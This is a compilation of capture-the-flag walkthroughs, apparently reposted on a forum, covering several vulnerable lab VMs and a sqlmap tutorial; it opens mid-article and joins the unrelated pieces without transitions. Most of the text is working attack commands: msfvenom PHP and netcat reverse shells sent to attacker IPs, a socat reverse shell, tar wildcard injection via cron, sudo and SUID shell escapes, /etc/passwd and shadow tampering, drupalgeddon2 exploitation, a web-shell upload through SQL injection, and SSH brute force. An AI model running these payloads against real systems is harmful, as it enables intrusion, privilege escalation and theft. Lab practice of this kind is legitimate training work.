So we mount the new folder /redkola.iso where we found an image file glass_ch.jpg with help of the following command:
mount redkola.iso /root/Desktop/redkola
cd /root/Desktop/redkola
ls

1
2
3

mount redkola.iso /root/Desktop/redkola
cd /root/Desktop/redkola
ls

[Image: 32.1.png?w=687&ssl=1]
Further, we opened the image “glass_ch.jpg” and it was a picture of Irn-Bru soft-drinks. Probably there could be chances of hidden text in this image, therefore, we tried steghide to extract out hidden text but when I execute the following command it asks to enter some passphrase which we don’t know yet and it should above said 25 characters which we need to be found.
steghide extract -sf glass_ch.jpg -xf /root/Desktop/finalflag.txt
1
steghide extract -sf glass_ch.jpg -xf /root/Desktop/finalflag.txt

[Image: 32.2.png?w=687&ssl=1]
Taking help of above hint and image I search Irn-bru-wiki and got this link

[To see content please register here]


And after spending a long time over wiki I got 25 characters in ‘madeinscotlandfromgirders’, which was Irn-Bru advertising slogan and tried it as the passphrase.
[Image: 32.png?w=687&ssl=1]
We entered the above passphrase and extracted the text file on the desktop.
[Image: 33.png?w=687&ssl=1]
Congrats!! Finally, we got the final flag.txt

Hello friends!! Today we are going to solve another CTF challenge “Enterprise” which is available online for those who want to increase their skill in penetration testing and black box testing. Enterprise is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.61 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.61
1
nmap -sV 10.10.10.61

From given below image, you can observe we found port 22, 80, 443 and 80 are open on target system.
[Image: 1.png?w=687&ssl=1]
As port 80 is running http server we open the target machine’s ip address in our browser, and find a website that is running on wordpress.
[Image: 2.png?w=687&ssl=1]
As port 8080 is also running http server we open the target machine’s ip address in our browser, and find a website that is not made on wordpress.
[Image: 3.png?w=687&ssl=1]
When we try to open the wordpress admin page but are redirected to domain called “enterprise.htb”. We enter the domain name in /etc/hosts file.
[Image: 4.png?w=687&ssl=1]
Now when we open wp-admin, we are able to get the login page.
[Image: 5.png?w=687&ssl=1]
We run dirb on port 80 to enumerate the directories and find a directory called /files.
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 6.png?w=687&ssl=1]
We open the files/ directory, and find a zip file.
[Image: 7.png?w=687&ssl=1]
We download the zip file in our system and unzip it. After unzipping it we find 3 php files.
[Image: 8.png?w=687&ssl=1]
We take a look at the content of the files and it looks like there might be plugin called lcars that is being used by the wordpress site and by the looks of the code it is possible that is vulnerable to SQL-injection.
[Image: 9.png?w=687&ssl=1]
Now when we open it we get a php error message, we now know that this plugin is vulnerable to SQL-injection.
[Image: 10.png?w=687&ssl=1]

We use sqlmap to dump the database and found a message with a few passwords. We also find that there is a joomla database we try to dump it and find a username geordi.la.forge.
[Image: 11.1.png?w=687&ssl=1]
Now we use one of these passwords to login into wordpress. On the webpage we see that there are has been posts made by user william.riker. So we use credentials william.riker:u*Z14ru0p#ttj83zS6 to login into wordpress control panel.
[Image: 11.png?w=687&ssl=1]
Now we change the 404.php template with our payload to get reverse shell on the machine. First we are going to create our payload using msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 –f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 –f raw

[Image: 12.png?w=687&ssl=1]
Now we are going to setup our listener using metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.25
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run

1
2
3
4
5

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.25
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run

[Image: 13.png?w=687&ssl=1]
After replacing the 404.php code with our payload, we open the 404.php page in our browser.
[Image: 15.png?w=687&ssl=1]
As soon as we open it we get our reverse shell.
[Image: 16.png?w=687&ssl=1]
After getting our reverse shell we find that we are actually in a container app and we find the machine has 2 network card.
[Image: 17.png?w=687&ssl=1]
Now we find all the ip’s in the subnet of the container.
[Image: 18.png?w=687&ssl=1]
Now we create another shell using msfvenom to upload it into the joomla site on port 8080.
[Image: 23.png?w=687&ssl=1]
Now we background our session and change the lport according to our payload.
meterpreter > background
msf exploit(multi/handler) > set lport 4455
msf exploit(multi/handler) > run

1
2
3

meterpreter > background
msf exploit(multi/handler) > set lport 4455
msf exploit(multi/handler) > run

[Image: 24.png?w=687&ssl=1]
We are first going to login into the joomla site, using credentials, geordi.la.forge:ZD3YxfnSjezg67JZ and upload our shell code.
[Image: 25.png?w=687&ssl=1]
As soon as we open the page we get our reverse shell.
[Image: 26.png?w=687&ssl=1]
After getting into the joomla container, we find that we have common file called /var/www/html/files.
[Image: 27.png?w=687&ssl=1]
We create another php payload using msfvenom to upload this shell into /var/www/html/files directory.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw > shell1.php
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw > shell1.php

[Image: 28.png?w=687&ssl=1]
We go to /var/www/html/files directory and upload the shell using meterpreter.
[Image: 29.png?w=687&ssl=1]
Now we background our current session and change the lport according to our new payload.
meterpreter > background
msf exploit(multi/handler) > set lport 5555
msf exploit(multi/handler) > run

1
2
3

meterpreter > background
msf exploit(multi/handler) > set lport 5555
msf exploit(multi/handler) > run

[Image: 30.png?w=687&ssl=1]
When we go to /files directory we find that our shell has been uploaded.
[Image: 31.1.png?w=687&ssl=1]
As soon as we click on the payload we get our reverse shell.
[Image: 31.png?w=687&ssl=1]
After getting the reverse shell on the main machine instead of container we try to find files with suid bit set.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null

[Image: 32.png?w=687&ssl=1]
We find a file called lcars, we find that it has been running on port 32812.
[Image: 33.1.png?w=687&ssl=1]
When we connect with it using netcat we find that it asks for access code.
[Image: 33.2.png?w=687&ssl=1]
We run the file on the target machine using ltrace to find the access code for this binary.
[Image: 34.png?w=687&ssl=1]
We find that when we pass a it gets compared to a string called pircarda1. We use this to login into the binary.
[Image: 35.png?w=687&ssl=1]
We are able to access the file using this binary now we try to find this program is vulnerable to buffer overflow. We open the file using gdb to read the assembly code.
[Image: 36.png?w=687&ssl=1]
Now create 500 byte long string using pattern_create.rb script to find the EIP offset.
./pattern_create.rb -l 500
1
./pattern_create.rb -l 500

[Image: 38.png?w=687&ssl=1]
After searching all the options we find that option number 4 was vulnerable to buffer overflow.
[Image: 39.png?w=687&ssl=1]
We pass that into /usr/share/metasploit-framework/tools/pattern_offset.rb, we get an offset of 212. So we need to write 212 characters and then write the address of the instructions we want to be executed.
./pattern_offset -q 31684130 -l 500
1
./pattern_offset -q 31684130 -l 500

[Image: 40.png?w=687&ssl=1]
Now when we try to insert shellcode into the buffer but we were unable to execute it because of DEP. It prevents code from being executed in the stack. Now we are going to do a ret2libc attack to execute a process already present in the process’ executable memory. We go into the target machine and find ASLR in enabled so we have to brute force the address. Now we find the address of system, exit and /bin/sh.
gdb /bin/lcars
(gdb) b main
(gdb) run
(gdb) p system
(gdb) find 0xf7e0bd10, +9999999, "/bin/sh"
(gdb) p exit

1
2
3
4
5
6

gdb /bin/lcars
(gdb) b main
(gdb) run
(gdb) p system
(gdb) find 0xf7e0bd10, +9999999, "/bin/sh"
(gdb) p exit

[Image: 41.png?w=687&ssl=1]
We create an exploit which can be found

[To see content please register here]

. As soon as we run the exploit we get our reverse shell as root user. We go to /root directory and find a file called “root.txt”. When we open it we find our 1st flag. We then go to /home directory inside we find another directory called jeanlucpicard/. Inside /home/jeanlucpicard we find a file called “user.txt”, we open it and find our final flag.

[Image: 42.png?w=687&ssl=1]

Today we are going to solve the latest CTF challenge “Billu Box2” presented by vulnhub for penetration practice and design by Manish Kishan Tanwar. This virtual machine is having intermediate to the medium difficulty level. One need to break into VM using the web application and from there escalate privileges to gain root access.
You can download it from this Link:

[To see content please register here]


Penetration Methodologies
  • Network scanning
  • Exploit Drupal (Metasploit)
  • privilege escalation via Writable /passwd file
  • privilege escalation via PATH variable
  • Get root access and capture the flag
Let’s Begin!!
You will get target VM machine IP at the time of boot-up as you can observe we have it as 192.168.1.108.
[Image: 0.png?w=687&ssl=1]
So let’s start with nmap port enumeration and execute following command in our terminal.
nmap -A 192.168.1.108
1
nmap -A 192.168.1.108

Here I noticed Drupal 8 CMS is running through apache and might be you are knowing that Metasploit contains a module to compromise the target by exploiting drupalgeddon.
[Image: 1.png?w=687&ssl=1]
So let’s try to exploit this web application with the help of the Metasploit module and for that execute the following command:
use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.108
msf exploit(unix/webapp/drupal_drupalgeddon2)> exploit

1
2
3

use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 192.168.1.108
msf exploit(unix/webapp/drupal_drupalgeddon2)> exploit

Yippee!! We have owned meterpreter session 1, now let’s go for privilege escalation. Firstly let access proper tty shell with help of python one-liner and identify kernel version.
python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a

1
2

python -c 'import pty;pty.spawn("/bin/bash")'
lsb_release -a

[Image: 2.png?w=687&ssl=1]
I search for any relative kernel exploit but didn’t found any working exploit so I penetrated a little bit more and enumerated that the /passwd file has ALL 777 permission as shown in the below image.
[Image: 3.png?w=687&ssl=1]
With help of cat command, we open /etc/passwd file and notice an entry for local user “indishell” inside it. Since this file has ALL permission which means I can modify it very easily. So I copied the whole /passwd file in an empty text file in our local machine and saved at /root/Desktop/passwd.
[Image: 14.png?w=687&ssl=1]
As you can observe the entry for user indishell contain encrypted passwd and I don’t know which encryption is used therefore I will try to replace the original salt password. We can use OpenSSL command which will generate an encrypted password with salt.
openssl passwd -1 -salt abc pass123
1
openssl passwd -1 -salt abc pass123

Now copy it which is the new salt password for a password:pass123 and paste at the place of an original salt password for user indishell.
[Image: 15.png?w=687&ssl=1]
As you can observe, we had manipulated old password hash from our new password salt and also modify UID GID as 0:0 to make him a member of the root user.
[Image: 16.png?w=687&ssl=1]
Now transfer your modified passwd file into target’s VM machine and follow the below steps to access root shell terminal.
cd /etc
upload /root/Desktop/passwd .
python -c 'import pty;pty.spawn("/bin/bash")'
su indishell
whoami

1
2
3
4
5

cd /etc
upload /root/Desktop/passwd .
python -c 'import pty;pty.spawn("/bin/bash")'
su indishell
whoami

B000M!!!! We hit the Goal and got root access to this VM. This vulnerability can be exploited in multiple ways and for detail open this link:

[To see content please register here]


[Image: 17.png?w=687&ssl=1]
Second Method for Privilege Escalation
Search for the file having SUID or 4000 permission with help of Find command.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null

Here I found SUID bit is enabled for a file named as “s” which is present inside /opt directory, on its execution we realize that it is an SCP file which is asking SSH authentication.
[Image: 21.png?w=687&ssl=1]
Hence, now we can modify this file to get a bash shell with the help of the following step which is also known Path Variable Privilege Escalation.
cd /tmp
echo "/bin/sh" > scp
chmod 777 scp
export PATH=/tmp:$PATH
cd /opt
./s
id

1
2
3
4
5
6
7

cd /tmp
echo "/bin/sh" > scp
chmod 777 scp
export PATH=/tmp:$PATH
cd /opt
./s
id

This vulnerability can be exploited in multiple ways and for detail open this link:

[To see content please register here]


[Image: 22.png?w=687&ssl=1]

As we know how some weak misconfiguration sudo rights can lead to root privilege escalation and today I am going to solve the CTF “Lin. Security – Vulnhub” which is a design on weak sudo right permissions for beginners to test their skill set through this VM.
This lab has been designed by the researcher to help us understand, how certain built-in applications and services if misconfigured, may be abused by an attacker. Here an up-to-date Ubuntu distro (18.04 LTS) suffers from a number of vulnerabilities that allow a user to escalate to root on the box.
You can download it from here:

[To see content please register here]


Task: Get root shell for ALL Users (Bob, Susan, Peter)
Level: Beginner to Advance
Penetrating Methodologies
Escalate root shell for Bob
  • Via sudo right
  • Via wildcard Injection
  • Via SUID Binaries
Escalate root shell for Susan
  • Via SUID Binaries
Escalate root shell for Peter
  • Via Network file sharing (NFS)
Note: Kindly follow the reference link given in the article for details, because this machine vulnerable to a bunch of services and reference link holds detail of each Privilege Escalation Techniques.
Escalate root shell for Bob
1st Procedures
  • Login using ssh credential
  • Check sudoers list for sudo permissions
  • Get root shell via system binaries having sudo permission
Let’s move now to find ways to root this lab!!
The first thing before doing any of the CTF is to read the instructions carefully before starting your vulnerability assessment and save your precious time.
The writer of the lab has given a hint in terms of user-id & password of one of the users.
It is “To get started you can log onto the host with the credentials: bob/secret“ and the IP of my lab is 192.168.1.104.
[Image: 1.png?w=687&ssl=1]
I used the port 22 (SSH) to login into the machine with given credentials: bob/secret
ssh [email protected]
1
ssh [email protected]

After ‘logging in’ I tried to check the sudo rights for user bob:
sudo -l
1
sudo -l

The next prompt asked for the root password and I tried the same credentials “secret” and it worked!! I can see all the permissions which bob has and now I can easily root the machine using any of these permitted commands.
Visit given below link for complete details:

[To see content please register here]


[To see content please register here]


[Image: 2.png?w=687&ssl=1]
As you can observe that we had escalated root shell when sudo have rights for all types of the shell such as ksh, zsh, bash and so on or for editors or for other programs such as pico, vi, Perl, scp, find, less and so on. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled.
You can use the following list of command to get a root shell:
sudo ash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo bash
sudo sh
sudo csh
sudo dash
sudo tclsh
sudo zsh
find /home -exec /bin/bash \;

1
2
3
4
5
6
7
8
9

sudo ash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo bash
sudo sh
sudo csh
sudo dash
sudo tclsh
sudo zsh
find /home -exec /bin/bash \;

[Image: 3.png?w=687&ssl=1]
Get root shell via FTP, Expect, Socat
With this, we can spawn the interactive system shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled.
sudo ftp
!/bin/bash
id
sudo expect -i
sudo env /bin/bash
sudo ed
!/bin/bash
id
sudo perl -e 'exec' "/bin/bash";'
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.109:1234

1
2
3
4
5
6
7
8
9
10

sudo ftp
!/bin/bash
id
sudo expect -i
sudo env /bin/bash
sudo ed
!/bin/bash
id
sudo perl -e 'exec' "/bin/bash";'
sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.109:1234

[Image: 4.png?w=687&ssl=1]
On other you should be in listening mode by using socat listener in your local machine to get privilege shell:
socat file:'tty',raw,echo=0 tcp-listen:1234
1
socat file:'tty',raw,echo=0 tcp-listen:1234

[Image: 5.png?w=687&ssl=1]
Less
With less, we can spawn the interactive system shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled.
sudo less /etc/hosts
1
sudo less /etc/hosts

[Image: 9.png?w=687&ssl=1]
As we know it opens the file in vi mode and since you have run the command with sudo right which means we can get a shell through it. Execute !bash command inside hosts file as shown above and you will get the root shell.
[Image: 10.png?w=687&ssl=1]
Man
Man can be used to break out from restricted environments by spawning an interactive system shell.
sudo man /etc/hosts
1
sudo man /etc/hosts

[Image: 11.png?w=687&ssl=1]
As we know it opens the file in vi mode and since you have run the command with sudo right which means we can get a shell through it. Execute !bash command inside hosts file as shown above and you will get a root shell.
[Image: 12.png?w=687&ssl=1]
Git
With this, we can spawn the interactive system shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled.
sudo git help status
1
sudo git help status

[Image: 13.png?w=687&ssl=1]
As we know it opens the file in vi mode and since you have run the command with sudo right which means we can get a shell through it. Execute !bash command inside git status file as shown above and you will get a root shell.
[Image: 14.png?w=687&ssl=1]
Pico
Since we know that pico is a text editor such as nano and vi also has sudo permission, which means that now we can also edit system files. Now open /etc/shadow file with pico editor and try to modify the root password.
[Image: 15.png?w=687&ssl=1]
On other hands, I have generated a new encrypted password: pass123 using OpenSSL passwd
openssl passwd -1 -salt abc pass123
1
openssl passwd -1 -salt abc pass123

[Image: 16.1.png?w=687&ssl=1]
Now paste the above generated encrypted password inside shadow file for user root.
[Image: 16.png?w=687&ssl=1]
Since we have modified the root password into pass123, therefore, let get root login using it.
su root
1
su root

[Image: 17.png?w=687&ssl=1]
SCP
It can be used to break out from restricted environments by spawning an interactive system shell. It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.
hack=$(mktemp)
echo "/bin/bash 0<&2 1>&2" > $hack
chmod +x "$hack"
sudo scp -S $hack abc abd:
id

1
2
3
4
5

hack=$(mktemp)
echo "/bin/bash 0<&2 1>&2" > $hack
chmod +x "$hack"
sudo scp -S $hack abc abd:
id

[Image: 26.png?w=687&ssl=1]
SSH
With this, we can spawn the interactive system shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled. Let’s spawn an interactive root shell through Proxy Command option.
sudo ssh -o ProxyCommand=";/bin/bash 0<&2 1>&2" abc
id

1
2

sudo ssh -o ProxyCommand=";/bin/bash 0<&2 1>&2" abc
id

[Image: 27.png?w=687&ssl=1]
Curl
With this, we can spawn the interactive system shell and can get away from low-privilege environments. Since we have a low privilege shell which means, we can access /etc/passswd file.
[Image: 28.png?w=687&ssl=1]
So, I copied /etc/passwd file in my local machine and removed encrypted password for user “insecurity”.
[Image: 29.png?w=687&ssl=1]
By running curl with sudo permission we can fetch a remote file via http-get method.
sudo curl

[To see content please register here]

-o /etc/passwd

1
sudo curl

[To see content please register here]

-o /etc/passwd

[Image: 30.png?w=687&ssl=1]
So, as you can observe that now we are having modified passwd file where user insecurity has an entry with UID: GID 0:0 and no password.
[Image: 31.png?w=687&ssl=1]
Since we have modified the insecurity password into the blank password, therefore, let get root login using it.
sudo -u insecurity bash
1
sudo -u insecurity bash

[Image: 32.png?w=687&ssl=1]
Vi Editor
With this, we can spawn the interactive system shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled.
Type following:
sudo vi
:!sh
id

1
2
3

sudo vi
:!sh
id

[Image: 35.png?w=687&ssl=1]
All you can observe that I have root shell after this.
[Image: 36.png?w=687&ssl=1]
Rvim
With rvim, we can spawn the root shell and can get away from low-privilege environments. It goes in a privileged environment with elevated privileges to access the file system or elevate root shell if sudo permission is enabled. This requires that rvim is compiled with Python support. Prep-end: py3 for Python 3. Now enter following command to spawn /bin/sh shell with higher privilege shell.
sudo rvim -c ":py3 import pty; pty.spawn('/bin/bash')"
1
sudo rvim -c ":py3 import pty; pty.spawn('/bin/bash')"

[Image: 37.png?w=687&ssl=1]
You will see, it opens the file in vi mode and since you have run the command with sudo right which means we can get a shell through it. Execute !bash command inside it as shown below and you will get a root shell.
!bash
id

1
2

!bash
id

[Image: 38.png?w=687&ssl=1]
2nd Procedures
  • Wildcard Injection
  • Check cron job
  • Generate one-liner for the netcat_reverse shell (msfvenom)
  • Exploit tar wildcard injection
  • Spawn root shell through netcat session
Now open crontab to view if any task is scheduled.
cat /etc/crontab
Here we notice the target has scheduled a bash program script for every 1 minute and we know that cron job runs as root. The minute attacker read the program written inside /etc/cron.daily/backup the script, since it is saving a compressed copy of each user’s home directories to /etc/backups. Therefore we can apply tar wildcard injection.
Visit below link to read complete detail of wildcard injection attack:

[To see content please register here]


On a new terminal in your Kali to generate netcat reverse shell malicious code for achieving netcat reverse connection by using msfvenom and enter the following command for that:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=8888 R
1
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=8888 R

Now copy the generated payload and paste inside the victim’s shell as described below.
echo "mkfifo /tmp/ckrkrjp; nc 192.168.1.109 8888 0</tmp/ckrkrjp | /bin/sh >/tmp/ckrkrjp 2>&1; rm /tmp/ckrkrjp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

1
2
3

echo "mkfifo /tmp/ckrkrjp; nc 192.168.1.109 8888 0</tmp/ckrkrjp | /bin/sh >/tmp/ckrkrjp 2>&1; rm /tmp/ckrkrjp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

[Image: 39.png?w=687&ssl=1]
Since the tar command is running as root due to crontab, this has the effect of spawning a netcat shell and sending it to the attack platform on port 8888. And if you go back to the terminal window where the listener was on, you will have victim’s reverse connection in after 1 minute.
nc -lvp 8888
id

1
2

nc -lvp 8888
id

[Image: 40.png?w=687&ssl=1]


  [Guide] How to Hack The Toppo:1 VM (CTF Challenge)
Posted by: NINZA - 05-14-2020, 09:09 AM - Forum: Carders Home - No Replies

Today we are going to solve the latest CTF challenge presented by vulnhub for penetration practice and design by Mr. Hadi Mene. This lab is the proposal for beginners and mode of difficulty level is easy. You can download it from this Link:

[To see content please register here]


Penetration Methodologies
  • Network scanning
  • Directory brute-force attack
  • Abusing HTTP web directories
  • Compromise confidential
  • Spawn tty shell (ssh login)
  • SUID privilege escalation
  • Get root access and capture the flag
Let’s Begin!!
You will get target VM machine IP at the time of boot-up so let’s start with nmap port enumeration and execute the following command in our terminal.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104

[Image: 1.png?w=687&ssl=1]
Since port 80 was opened; so I explored target IP in the web browser and welcomed by following the web page as shown below.
[Image: 2.png?w=687&ssl=1]
Unfortunately, I didn’t compute any remarkable hint from its web home page, therefore, I decided to launch directory brute-force attack through ‘dirb’ and run following command.
dirb

[To see content please register here]


1
dirb

[To see content please register here]


The minute you will execute the above command you will found so many web directories. Here /admin looks more interesting, let’s figure out it.
[Image: 3.png?w=687&ssl=1]
So when I explored the following URL, it put-up a notes.txt file which might be holding something important.

[To see content please register here]


1

[To see content please register here]


[Image: 4.png?w=687&ssl=1]
So I looked into notes.txt and notice towards “12345ted123” which is a password.
[Image: 5.png?w=687&ssl=1]
Since port 22 was open so I can try ssh login and as we already have the password 12345ted123 but don’t know the username, therefore, I decided to use the hit-try method and use following credential for ssh login.
Username: ted (predict from password)
Password: 12345ted123

1
2

Username: ted (predict from password)
Password: 12345ted123

Wonderful!! We got login successfully, now move for post-exploitation and try to get root access. Then by using the following command, you can enumerate all binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null

And it dumped all system binaries which have SUID permissions but /usr/bin.mawk and /usr/bin/python2.7 are at my target point for escalating root privilege through them. So I had exploited this VM twice to root access.
Run the following command and get the root access directly.
mawk 'BEGIN {system("/bin/sh")}'
id
cd /root
ls
cat flag.txt

1
2
3
4
5

mawk 'BEGIN {system("/bin/sh")}'
id
cd /root
ls
cat flag.txt

This was the 1st technique for escalating root privilege through awk one-liner.
[Image: 6.png?w=687&ssl=1]
Similarly, you can perform the same task by using python one-liner and can spawn the root shell.
python2.7 -c 'import pty;pty.spawn("/bin/sh")'
whoami
cat /root/flag.txt

1
2
3

python2.7 -c 'import pty;pty.spawn("/bin/sh")'
whoami
cat /root/flag.txt

B000MM!!! We have captured the flag and challenges is completed.
[Image: 7.png?w=687&ssl=1]

Hello everyone and welcome to the par two of our sqlmap series. In this article, we’ll be exploiting an error based SQL injection to upload a shell on the web server and gain control over it! Now, how to do this, tools required, everything is discussed in as much detail as possible. So, let’s dive right in.
Since attacking a live website is a crime, we’ll be setting up a local host in a windows system using XAMPP server and we’ll use SQLi Dhakkan to create SQL vulnerabilities in a database.
You can download XAMPP and SQL dhakkan from

[To see content please register here]

and

[To see content please register here]

respectively.

Step one is to fire up the XAMPP control panel and put SQL dhakkan in C: /xampp/htdocs directory which is the default directory for the web pages. The IP address on which SQL dhakkan is hosted in my network is 192.168.1.124
So, let’s start by checking the ports open on the server using nmap.
nmap 192.168.124
1
nmap 192.168.124

[Image: 0.png?w=687&ssl=1]
As we can see that MySQL is up and running on the host so we are good to apply SQLMAP.
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --dbs
1
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --dbs

[Image: 1.png?w=687&ssl=1]
[Image: 2.png?w=687&ssl=1]
Hence, we can see numerous databases loaded, so our sqlmap attack was successful.
Checking privileges of the users in the database
Now, to read a file it is very much important to see whether the user has FILE privileges or not. If we have file privileges we will be able to read files on the server and moreover, write the files on the server!!
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --privileges
1
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --privileges

[Image: 2_0.png?w=687&ssl=1]
As we can see that root@localhost has the FILE privilege.
[Image: 3.png?w=687&ssl=1]
Let’s see who the current user of this server is.
[Image: 4.png?w=687&ssl=1]
As we can see that the current user has the FILE privileges so we can apply –file-read to read a file from the server and –file-write to write a file on the server!
[Image: 4_0.png?w=687&ssl=1]
Reading a file from the web server
Let’s try reading a file in the public directory, let’s say, index.php.
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --file-read=/xampp/htdocs/index.php --batch
1
sqlmap -u 192.168.1.124/sqli/Less-1/?id=1 --file-read=/xampp/htdocs/index.php --batch

[Image: 5.png?w=687&ssl=1]
We have read a file from a known directory successfully! We can apply directory buster to find other folders and files and read them too if we have the privileges!
[Image: 5_0.png?w=687&ssl=1]
Uploading a shell on the web server
Now, let’s try and upload a file on the web server. To do this we are using the “–file-write” command and “–file-dest” to put it in the desired destination.
For the sake of uploading a shell on the server, we’ll be choosing a simple command injection php shell that is already available in Kali in the /usr/share/webshells directory and has the name simple-backdoor.php
cd /usr/share/webshells/php
ls
cp simple-backdoor.php /root/Desktop/shell.php

1
2
3

cd /usr/share/webshells/php
ls
cp simple-backdoor.php /root/Desktop/shell.php

[Image: 8.png?w=687&ssl=1]
Now, we have moved the shell on the desktop. Let’s try to upload this on the web server.
sqlmap -u 192.168.1.124/sqli/Less-1.?id=1 --file-write=/root/Desktop/shell.php --file-dest=/xampp/htdocs/shell.php --batch
1
sqlmap -u 192.168.1.124/sqli/Less-1.?id=1 --file-write=/root/Desktop/shell.php --file-dest=/xampp/htdocs/shell.php --batch

[Image: 9.png?w=687&ssl=1]
It has been uploaded successfully.
[Image: 10.png?w=687&ssl=1]
Let’s check whether it was uploaded or not!
[Image: 11.PNG?w=687&ssl=1]
It indeed did get uploaded. Now, we’ll try and access the shell from the browser.
192.168.1.124/shell.php
[Image: 12.png?w=687&ssl=1]

It is a command line shell, hence, we can execute any windows command on the browser itself remotely!
The usage is: …..php?cmd=< windows command >
Let’s try and run ipconfig on the browser
[Image: 13.png?w=687&ssl=1]
Hence, we have successfully uploaded a shell and created a command injection vulnerability! Thanks for giving it a read!

Basic pentesting 2 is a boot2root VM and is a continuation of the Basic pentesting series by Josiah Pierce. This series is designed to help newcomers to penetration testing develop pentesting skills and have fun to explore part of the offensive side of security.
VirtualBox is the recommended platform for this challenge (though it should also work with VMware — however, I haven’t tested that).
This VM is a moderate step up in difficulty from the first entry in this series. If you’ve solved the first entry and have tried a few other beginner-oriented challenges, this VM should be a good next step. Once again, this challenge contains multiple initial exploitation vectors and privilege escalation vulnerabilities.
Your goal is to remotely attack the VM, gain root privileges, and read the flag located at /root/flag.txt.
You can download it from

[To see content please register here]

.

Penetrating Methodologies
  • Port scanning
  • Used enum4linux to enumerate all the users
  • SSH brute force for the user jan
  • Attained SSH .pub file for user kay
  • Used ssh2john to convert that pub key into a crackable format
  • Used John the ripper to crack key and attained a passphrase
  • Logged into user kay using the passphrase
  • Attained the file pass.bak
  • Got root access to the lab using the password in pass.bak
  • Captured the flag
Let’s start!
So, let’s begin by first scanning the ports open by using the most popular scanning tool called nmap.
nmap -A 192.168.1.139
1
nmap -A 192.168.1.139

[Image: 1.png?w=687&ssl=1]
Here, we can see that port 22 is open. But we don’t have any users currently. Let’s use enum4linux and try to find the users available.
enum4linux 192.168.139
1
enum4linux 192.168.139

[Image: 2.png?w=687&ssl=1]
Here, we have found 2 users jan and kay with us.
[Image: 3.png?w=687&ssl=1]
Let’s try brute-force for the user jan using hydra tool which comes pre-installed in kali. We will be using the dictionary “rockyou.txt” to brute force the login of jan
hydra -l jan -P /usr/share/wordlists/rockyou.txt 192.168.1.139 ssh
1
hydra -l jan -P /usr/share/wordlists/rockyou.txt 192.168.1.139 ssh

[Image: 4.png?w=687&ssl=1]
Amazing! We have found the login details of jan!
Username: jan
Password: armando

1
2

Username: jan
Password: armando

Now, let’s try and ssh login using the details we just cracked.
[Image: 5.png?w=687&ssl=1]
Wow! We have successfully gained a shell here. But jan don’t have sudo rights. Let’s check for any other users and the files and folders in it.
cd /home
ls

1
2

cd /home
ls

We found another folder called kay. Let’s go inside it and run ls -la command.
cd kay
ls -la
cd .ssh
ls -al

1
2
3
4

cd kay
ls -la
cd .ssh
ls -al

[Image: 6.png?w=687&ssl=1]
Hmmm… this id_rssa file looks fishy. Let’s read it using: cat id_rsa and copy paste it in the text file.
[Image: 7.png?w=687&ssl=1]
Now, we are going to use ssh2john to convert this SSH key into a crackable file for John the ripper.
python ssh2john key > ssh_login
john ssh_login

1
2

python ssh2john key > ssh_login
john ssh_login

[Image: 8.png?w=687&ssl=1]
Here, we found the phrase “beeswax.” This could either be a password or any other phrase to unlock something as we move further.
Let’s try and login to user kay using that key.
ssh -i key [email protected]
1
ssh -i key [email protected]

It is asking for a passphrase now. Let’s try and enter “beeswax”
[Image: 9.png?w=687&ssl=1]
Voila!! We have successfully gained access to kay. Now let’s try and read that pass.bak file. It looks like it could have something valuable!
cat pass.bak
It gives us the phrase “heresareallystrongpasswordthatfollowsthepasswordpolicy$$”
Now Let’s check sudo rights for him and write sudo -l
